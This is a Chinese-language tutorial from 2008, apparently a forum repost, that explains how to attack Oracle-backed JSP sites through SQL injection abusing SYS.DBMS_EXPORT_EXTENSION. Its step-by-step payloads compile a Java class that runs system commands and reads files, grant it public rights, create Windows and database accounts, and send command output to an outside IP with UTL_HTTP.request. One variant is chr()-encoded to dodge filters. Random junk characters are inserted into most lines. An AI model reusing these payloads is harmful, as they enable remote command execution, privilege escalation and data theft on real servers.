以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 . c6 k$ _! \- ]- w
' `/ `/ P! U# v N' ?) D /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
6 `0 a) V* C6 T, d的形式即可。(用" 'a'|| "是为了让语句返回true值)
7 z: g, t# c# v' c语句有点长,可能要用post提交。 ! [5 a9 U6 X! @' i! f
以下是各个步骤:
+ D7 m" C9 X& b: E1.创建包
% l+ d5 I4 |# N: @+ @通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:/ [* |# l7 c( ?, A9 A: S
/xxx.jsp?id=1 and '1'<>'a'||(
0 D4 P9 t9 O5 Z3 L% mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; O f9 x) a, ]! P# m) Kcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
( N5 c# ^/ I2 Dnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}* o7 l$ n9 ?# ^9 a
}'''';END;'';END;--','SYS',0,'1',0) from dual : Q& H' S6 H$ o4 a2 T
)
9 B) \: f% t2 Q: L2 l5 c------------------------ + n. B* h: k0 X+ k p5 s
如果url有长度限制,可以把readFile()函数块去掉,即:
9 y7 a+ a3 r: p3 w/ O- ?5 T2 n/xxx.jsp?id=1 and '1'<>'a'||(
7 L4 z# A' h- d' V9 @# K) {: e& mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 h9 ~/ ^4 x4 q# k- z0 ~4 k- b9 U7 Wcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader() }; P. h6 f" p: b7 @6 b
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}' h [" ?# S% V' i3 y6 ~! o& Q: A
}'''';END;'';END;--','SYS',0,'1',0) from dual
/ h' M. E* H/ z6 p; c6 E6 ^! a2 E)
* V, J3 a/ A7 u( D+ C# o同时把后面步骤 提到的 对readFile()的处理语句去掉。 $ e9 q7 j( O, c$ [
------------------------------ ) z+ D/ u8 b- I
2.赋Java权限
2 P+ ]6 r! e0 ]' Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual$ t6 M+ N0 G' D- j8 F5 j
3.创建函数
- h2 t5 ~% x- Z* Z5 H! n3 ^1 B- ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ _& T( v6 n/ l, K- d" s; k# C2 s
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
* y1 U% U# b3 l8 ?1 q, Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ b, D% l6 ]2 {( q( lcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
" T4 L) G; Y5 A; a" |4.赋public执行函数的权限
; D d- {$ v4 Q& D9 E! [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual$ G$ y4 s3 B& }6 N3 f3 W! i* W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
* }* k T+ _; u# P5.测试上面的几步是否成功
& Z% {7 |5 {6 r5 V4 t" Iand '1'<>'11'||( : x# p$ a. M- n0 n. C4 d
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 7 O& L& x6 z' ~) Q* k! [
)
" L' G3 T" V1 u- V' r9 |) L& L! Land '1'<>(
/ Y& z1 R: ?" L" ]; g9 e5 J& S4 L$ ^select OBJECT_ID from all_objects where object_name ='LINXREADFILE' 9 H6 e7 y6 T" p
)
) V- I4 i$ B7 r/ L8 n6 B6.执行命令: 8 a" J2 n* T! a3 C; G
/xxx.jsp?id=1 and '1'<>(
% Q! @5 k. X' g, i! q: rselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
) _' ^1 Q( I- |; `6 p; r: @& ?
5 [& M' }! K, s9 l$ ~% d" h R" z) ' E# L" j9 H# x! `& {7 J
/xxx.jsp?id=1 and '1'<>(
* J, H8 [6 A& L5 lselect sys.LinxReadFile('c:/boot.ini') from dual
/ @) W! L6 Y, N/ ~) V. b9 g3 D! A$ {9 i. s2 W
)
: t7 W$ _/ Q( _( O2 L: `0 V ) b# ^( @; I, g) B3 ~
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 4 N/ @1 b' ^0 N! d- i
如果要查看运行结果可以用 union : ( g9 `# i5 Z3 V( u P9 n4 u3 W2 o8 R
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
3 a, \5 @# c* Q% C! W6 u% s或者UTL_HTTP.request(: , ]0 m1 Z/ u3 x
/xxx.jsp?id=1 and '1'<>(
4 t* X" y7 G( y) MSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
- Z6 I# F% a7 b4 }, H) # c/ f/ \4 r1 h v1 U0 ~' q
/xxx.jsp?id=1 and '1'<>( 7 H1 u/ k8 }' F; |, |8 i' d9 j* Z
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual# ~( L! Y+ M' S% B
)
( [! H$ c" @3 z1 ]; ] b, h+ P+ A' f注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。8 W0 \0 @" R$ ]( G8 ^/ o9 ?
--------------------
0 A# m- w# P o# V5 ~$ S6.内部变化 ! [: t1 A+ o8 ] G8 c( p+ h
通过以下命令可以查看all_objects表达改变: 2 c0 l, \/ y- w% P# x
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'+ x6 B* _5 C$ H
7.删除我们创建的函数
& `& j* h) b8 U1 Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 r7 M+ D* k$ u3 v
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual * M3 j5 U# H5 x) e8 o, K4 H
==================================================== 8 h0 g) Z! b2 t5 g
全文结束。谨以此文赠与我的朋友。
! V' Z% ^4 w, J! _linx
( G, _ S0 K# h7 T0 U1 ^. P124829445 ( l! w; @$ k, {, X r
2008.1.12 k V6 Y$ W1 ~& e9 O
linyujian@bjfu.edu.cn % B3 _. n: a- E
====================================================================== 4 T' b/ V c! a
测试漏洞的另一方法:
( v' W G8 ~, A- O# V创建oracle帐号:
" l- @; r. V% y0 U6 sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') X- j* U! b* Z5 a3 O4 w/ A6 {6 i
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual7 E6 z2 T* ?% N
即:
& {3 A2 E6 z( f) |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 \0 [- b! n3 A5 U8 G' C( H3 @chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 6 k9 V1 c* B) Y# ?4 a+ F. t u
确定漏洞存在: $ g3 ?; G! D6 t4 @" n
1<>(
" q4 s7 R6 Y+ fselect user_id from all_users where username='LINXSQL' 7 D' z7 K1 \( \5 J- d& a
) & s9 {! J, k" i- M
给linxsql连接权限:
# E: V# b3 f- b/ R4 [8 d! ^- @! ?+ b' bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') F% q) k e8 b' Q
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 5 W* e$ O' o8 h( }- D3 J9 T. k
删除帐号: * \0 z: g/ M; ^' }( P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! a5 e4 c+ p1 Y& U0 b
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
7 @8 j5 K5 n( u" \7 X======================
% Y; b: m8 m& k1 X! O以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:, c: Q/ c N9 g% Q9 Z
1.jsp?id=1 and '1'<>( $ ^; T" W, X% E* ]' R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 j7 a$ N9 r6 B5 M) wcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
+ p( O* P2 \$ Q" k% W) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
) v5 S9 x( a; t9 o )1 r9 D, l& @- |# x$ F
$ x3 n" g# S3 A" C3 P+ D6 C
8 y( {& O m1 u- {- P9 {( G; k# U# G4 c2 W8 d' H# H, I! S
|